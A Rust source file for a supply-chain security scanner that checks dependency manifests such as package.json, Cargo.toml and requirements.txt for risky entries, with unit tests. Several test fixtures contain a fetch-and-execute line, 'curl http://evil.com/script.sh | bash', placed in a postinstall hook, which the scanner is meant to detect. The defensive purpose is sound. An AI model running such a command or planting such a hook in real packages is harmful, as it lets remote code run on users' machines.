1use crate::error::Result;
2use crate::rules::{DynamicRule, Finding};
3use crate::scanner::{ContentScanner, Scanner, ScannerConfig};
4use std::path::Path;
5use walkdir::WalkDir;
6
7const DEPENDENCY_FILES: &[&str] = &[
8 "package.json",
9 "package-lock.json",
10 "Cargo.toml",
11 "Cargo.lock",
12 "requirements.txt",
13 "pyproject.toml",
14 "poetry.lock",
15 "Pipfile",
16 "Pipfile.lock",
17 "Gemfile",
18 "Gemfile.lock",
19 "go.mod",
20 "go.sum",
21 "pom.xml",
22 "build.gradle",
23 "composer.json",
24 "composer.lock",
25];
26
27pub struct DependencyScanner {
28 config: ScannerConfig,
29}
30
31impl DependencyScanner {
32 pub fn new() -> Self {
33 Self {
34 config: ScannerConfig::new(),
35 }
36 }
37
38 pub fn with_skip_comments(mut self, skip: bool) -> Self {
39 self.config = self.config.with_skip_comments(skip);
40 self
41 }
42
43 pub fn with_dynamic_rules(mut self, rules: Vec<DynamicRule>) -> Self {
44 self.config = self.config.with_dynamic_rules(rules);
45 self
46 }
47
48 fn is_dependency_file(path: &Path) -> bool {
49 path.file_name()
50 .and_then(|name| name.to_str())
51 .map(|name| DEPENDENCY_FILES.contains(&name))
52 .unwrap_or(false)
53 }
54}
55
56impl ContentScanner for DependencyScanner {
57 fn config(&self) -> &ScannerConfig {
58 &self.config
59 }
60}
61
62impl Scanner for DependencyScanner {
63 fn scan_file(&self, path: &Path) -> Result<Vec<Finding>> {
64 let content = self.config.read_file(path)?;
65 let path_str = path.display().to_string();
66 Ok(self.config.check_content(&content, &path_str))
67 }
68
69 fn scan_directory(&self, dir: &Path) -> Result<Vec<Finding>> {
70 let mut findings = Vec::new();
71
72 for entry in WalkDir::new(dir)
73 .into_iter()
74 .filter_map(|e| e.ok())
75 .filter(|e| e.path().is_file())
76 {
77 let path = entry.path();
78 if Self::is_dependency_file(path)
79 && let Ok(file_findings) = self.scan_file(path)
80 {
81 findings.extend(file_findings);
82 }
83 }
84
85 Ok(findings)
86 }
87}
88
89impl Default for DependencyScanner {
90 fn default() -> Self {
91 Self::new()
92 }
93}
94
95#[cfg(test)]
96mod tests {
97 use super::*;
98 use std::fs;
99 use tempfile::TempDir;
100
101 fn create_file(dir: &TempDir, name: &str, content: &str) -> std::path::PathBuf {
102 let path = dir.path().join(name);
103 fs::write(&path, content).unwrap();
104 path
105 }
106
107 #[test]
108 fn test_scan_clean_package_json() {
109 let dir = TempDir::new().unwrap();
110 create_file(
111 &dir,
112 "package.json",
113 r#"{
114 "name": "clean-package",
115 "version": "1.0.0",
116 "dependencies": {
117 "express": "^4.18.0"
118 }
119 }"#,
120 );
121
122 let scanner = DependencyScanner::new();
123 let findings = scanner.scan_path(dir.path()).unwrap();
124
125 assert!(
126 findings.is_empty(),
127 "Clean package.json should have no findings"
128 );
129 }
130
131 #[test]
132 fn test_detect_dangerous_postinstall() {
133 let dir = TempDir::new().unwrap();
134 create_file(
135 &dir,
136 "package.json",
137 r#"{
138 "name": "malicious-package",
139 "scripts": {
140 "postinstall": "curl http://evil.com/script.sh | bash"
141 }
142 }"#,
143 );
144
145 let scanner = DependencyScanner::new();
146 let findings = scanner.scan_path(dir.path()).unwrap();
147
148 assert!(
149 findings
150 .iter()
151 .any(|f| f.id == "DEP-001" || f.id == "SC-001"),
152 "Should detect dangerous postinstall script"
153 );
154 }
155
156 #[test]
157 fn test_detect_git_dependency() {
158 let dir = TempDir::new().unwrap();
159 create_file(
160 &dir,
161 "package.json",
162 r#"{
163 "name": "package-with-git-dep",
164 "dependencies": {
165 "my-lib": "git://github.com/user/repo"
166 }
167 }"#,
168 );
169
170 let scanner = DependencyScanner::new();
171 let findings = scanner.scan_path(dir.path()).unwrap();
172
173 assert!(
174 findings.iter().any(|f| f.id == "DEP-002"),
175 "Should detect git:// dependency"
176 );
177 }
178
179 #[test]
180 fn test_detect_wildcard_version() {
181 let dir = TempDir::new().unwrap();
182 create_file(
183 &dir,
184 "package.json",
185 r#"{
186 "name": "package-with-wildcard",
187 "dependencies": {
188 "dangerous-lib": "*"
189 }
190 }"#,
191 );
192
193 let scanner = DependencyScanner::new();
194 let findings = scanner.scan_path(dir.path()).unwrap();
195
196 assert!(
197 findings.iter().any(|f| f.id == "DEP-003"),
198 "Should detect wildcard version"
199 );
200 }
201
202 #[test]
203 fn test_detect_http_dependency() {
204 let dir = TempDir::new().unwrap();
205 create_file(
206 &dir,
207 "package.json",
208 r#"{
209 "name": "package-with-http",
210 "dependencies": {
211 "insecure-lib": "http://example.com/package.tar.gz"
212 }
213 }"#,
214 );
215
216 let scanner = DependencyScanner::new();
217 let findings = scanner.scan_path(dir.path()).unwrap();
218
219 assert!(
220 findings
221 .iter()
222 .any(|f| f.id == "DEP-004" || f.id == "DEP-005"),
223 "Should detect HTTP/tarball dependency"
224 );
225 }
226
227 #[test]
228 fn test_scan_cargo_toml() {
229 let dir = TempDir::new().unwrap();
230 create_file(
231 &dir,
232 "Cargo.toml",
233 r#"
234[package]
235name = "risky-crate"
236version = "0.1.0"
237
238[dependencies]
239some-lib = { git = "https://github.com/user/repo" }
240"#,
241 );
242
243 let scanner = DependencyScanner::new();
244 let findings = scanner.scan_path(dir.path()).unwrap();
245
246 assert!(
247 findings.iter().any(|f| f.id == "DEP-002"),
248 "Should detect git dependency in Cargo.toml"
249 );
250 }
251
252 #[test]
253 fn test_scan_requirements_txt() {
254 let dir = TempDir::new().unwrap();
255 create_file(
256 &dir,
257 "requirements.txt",
258 "git+https://github.com/user/repo.git\nrequests==2.28.0\n",
259 );
260
261 let scanner = DependencyScanner::new();
262 let findings = scanner.scan_path(dir.path()).unwrap();
263
264 assert!(
265 findings.iter().any(|f| f.id == "DEP-002"),
266 "Should detect git+ dependency in requirements.txt"
267 );
268 }
269
270 #[test]
271 fn test_ignore_non_dependency_files() {
272 let dir = TempDir::new().unwrap();
273 create_file(&dir, "README.md", "curl http://evil.com | bash");
274 create_file(&dir, "config.json", r#"{"url": "http://evil.com"}"#);
275
276 let scanner = DependencyScanner::new();
277 let findings = scanner.scan_path(dir.path()).unwrap();
278
279 assert!(findings.is_empty(), "Should not scan non-dependency files");
280 }
281
282 #[test]
283 fn test_scan_nested_dependency_files() {
284 let dir = TempDir::new().unwrap();
285 let sub_dir = dir.path().join("subproject");
286 fs::create_dir(&sub_dir).unwrap();
287 fs::write(
288 sub_dir.join("package.json"),
289 r#"{"dependencies": {"evil": "*"}}"#,
290 )
291 .unwrap();
292
293 let scanner = DependencyScanner::new();
294 let findings = scanner.scan_path(dir.path()).unwrap();
295
296 assert!(
297 findings.iter().any(|f| f.id == "DEP-003"),
298 "Should scan nested dependency files"
299 );
300 }
301
302 #[test]
303 fn test_scan_single_file() {
304 let dir = TempDir::new().unwrap();
305 let file_path = create_file(
306 &dir,
307 "package.json",
308 r#"{"dependencies": {"lib": "latest"}}"#,
309 );
310
311 let scanner = DependencyScanner::new();
312 let findings = scanner.scan_file(&file_path).unwrap();
313
314 assert!(
315 findings.iter().any(|f| f.id == "DEP-003"),
316 "Should detect 'latest' version"
317 );
318 }
319
320 #[test]
321 fn test_is_dependency_file() {
322 assert!(DependencyScanner::is_dependency_file(Path::new(
323 "package.json"
324 )));
325 assert!(DependencyScanner::is_dependency_file(Path::new(
326 "Cargo.toml"
327 )));
328 assert!(DependencyScanner::is_dependency_file(Path::new(
329 "requirements.txt"
330 )));
331 assert!(DependencyScanner::is_dependency_file(Path::new(
332 "pyproject.toml"
333 )));
334 assert!(DependencyScanner::is_dependency_file(Path::new("Gemfile")));
335 assert!(DependencyScanner::is_dependency_file(Path::new("go.mod")));
336 assert!(DependencyScanner::is_dependency_file(Path::new("pom.xml")));
337 assert!(DependencyScanner::is_dependency_file(Path::new(
338 "composer.json"
339 )));
340
341 assert!(!DependencyScanner::is_dependency_file(Path::new(
342 "README.md"
343 )));
344 assert!(!DependencyScanner::is_dependency_file(Path::new(
345 "config.json"
346 )));
347 assert!(!DependencyScanner::is_dependency_file(Path::new("main.rs")));
348 }
349
350 #[test]
351 fn test_default_trait() {
352 let scanner = DependencyScanner::default();
353 let dir = TempDir::new().unwrap();
354 let findings = scanner.scan_path(dir.path()).unwrap();
355 assert!(findings.is_empty());
356 }
357
358 #[test]
359 fn test_scan_content_directly() {
360 let scanner = DependencyScanner::new();
361 let content = r#"{"scripts": {"postinstall": "curl http://evil.com | bash"}}"#;
362 let findings = scanner.scan_content(content, "package.json").unwrap();
363 assert!(!findings.is_empty());
364 }
365
366 #[test]
367 fn test_scan_nonexistent_path() {
368 let scanner = DependencyScanner::new();
369 let result = scanner.scan_path(Path::new("/nonexistent/path"));
370 assert!(result.is_err());
371 }
372
373 #[test]
374 fn test_with_skip_comments() {
375 let scanner = DependencyScanner::new().with_skip_comments(true);
376 let dir = TempDir::new().unwrap();
377 create_file(
378 &dir,
379 "requirements.txt",
380 "# git+https://github.com/user/repo\nrequests==2.28.0",
381 );
382
383 let findings = scanner.scan_path(dir.path()).unwrap();
384 assert!(
386 !findings.iter().any(|f| f.id == "DEP-002"),
387 "Should skip commented lines when skip_comments is true"
388 );
389 }
390
391 #[test]
392 fn test_multiple_dependency_files() {
393 let dir = TempDir::new().unwrap();
394 create_file(&dir, "package.json", r#"{"dependencies": {"a": "*"}}"#);
395 create_file(
396 &dir,
397 "Cargo.toml",
398 r#"[dependencies]\nb = { version = "*" }"#,
399 );
400
401 let scanner = DependencyScanner::new();
402 let findings = scanner.scan_path(dir.path()).unwrap();
403
404 assert!(findings.len() >= 2, "Should find issues in both files");
405 }
406}